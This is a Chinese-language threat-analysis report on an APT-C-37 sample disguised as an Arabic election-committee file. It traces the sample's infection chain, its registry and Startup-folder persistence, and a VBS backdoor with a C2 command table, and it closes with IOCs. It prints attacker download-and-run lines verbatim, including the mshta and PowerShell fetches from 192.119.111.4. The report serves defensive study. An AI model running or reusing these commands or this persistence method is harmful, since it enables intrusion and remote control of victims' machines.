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APT-C-37分析报告

⼀.样本信息介绍

样本名称: اجتماع لجنة الانتخابات – إقلیم الشمال .exe

(选举委员会议)

样本截图:

 

经过ExeInfoPE查壳⼦后发现为SFX⾃解压⽂档

 

运⾏mshta.exe http://192[.]119[.]111[.]4/xx/dv  

然后执⾏GSHword.docx⽂档

 

GSHword.docx 如下:

 

From:crazyman YesterdayGcow安全团队
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⼤体内容:

 

⼆.样本分析

1).Dv

 

其中的VBS代码:

执⾏

powershell $tmp = New-TemporaryFile;wget -v ""http://192.119.111.4/xx/dv.zip"" -outfile  $tmp.FullName;$tmp.FullName |

Rename-Item -NewName { $_ -replace 'tmp$', 'vbs' }"

从http://192.119.111.4/xx/dv.zip 下载dv.zip并重命名为{随机名称}.vbs
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通 过 读 取 注 册 表 项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session

Manager\Environment\PROCESSOR_ARCHITECTURE获取当前系统位数,确定powershell的路径

 

导⼊之前下载的vbs,20秒后移出

 

2).{Ransom}.vbs

从http://192.119.111.4/xx/f_Skoifa.vbs 上下载f_Skoifa.vbs并且另存为%USERPROFILE%\AppData\Local下

 

下载⽂件代码:

 

判断%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Help路径是否存在,若不存在则创建⼀个

 

创建注册表项HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Help
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修 改 注 册 表 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\User Shell Folders 以 及

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

修改⾃启动⽂件夹为%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Help

 

修改注册表启动项以达到⾃启动

 

创造⾃启动的lnk⽂件

参数为wscript.exe %USERPROFILE%\AppData\Local\f_Skoifa.vbs

从⾃带注释中我们了解到两种持久化的⽅式

⼀种如图的利⽤wscript.exe 加载本地的vbs⽂件

 

另⼀种通过mshta.exe 访问远程挂⼊的载荷,以实现下⼀步操作
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隐藏载荷⽂件

 

3).f_Skoifa.vbs:

混淆的代码,利⽤Chr()解码,⽤ExecuteGlobal执⾏解码后的载荷

 

经过解密后,该组织的VBS后⻔呈现出来

信息收集:

收集计算机名称,当前⽤户名称,系统版本,系统位数,杀毒软件信息等

 

⽣成受害者唯⼀标识的HWID码
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获取系统版本以及其所装的杀毒软件信息

 

按如下格式进⾏拼凑:

{HWID码}<|>{计算机名称}<|>{当前⽤户名称}<|>{系统版本}<|>plus<|>{系统版本 }<|>{杀毒软件信息}<|>” ”

远控主体⾏为

将收集好的信息通过Post函数传递给C2: 192.119.111.4:4587

 

接受回显以⽤于下⼀步指令的运⾏
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下载⽂件并且执⾏

传⼊下载⽂件的url以及保存路径

 

 

枚举驱动盘符

 

 

枚举⽂件夹与⽂件(⽂件名与属性)
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'枚举进程信息(进程名 进程ID 进程⽂件路径)

 

退出指定进程

 

 

远控指令解析:

Is-ready 为上线包 get

远控指令 HttpGet 功能

excecute ⽆ 执⾏⽂件或者命令

Send Is-sending 下载指定url⽂件并且执⾏

Recv ⽆ 上传⽂件

Enum-driver is-enum-driver 枚举驱动盘符

enum-faf is-enum-faf 枚举⽂件以及⽂件夹

Enum-process is-enum-process 枚举进程

Exit-processs ⽆ 退出指定进程

Delete ⽆ 销毁载荷

 

四.IOCs:

MD5: 

6e62856152eb198b457487e1eed94d76

URL:

http://192[.]119[.]111[.]4/xx/dv 

http://192[.]119[.]111[.]4/xx/dv.zip

http://192[.]119[.]111[.]4/xx/f_Skoifa.vbs

http://192[.]119[.]111[.]4/xx/f_Skoifa.zip

http://192[.]119[.]111[.]4/xx/3030

C2:

192.119.111.4:4587
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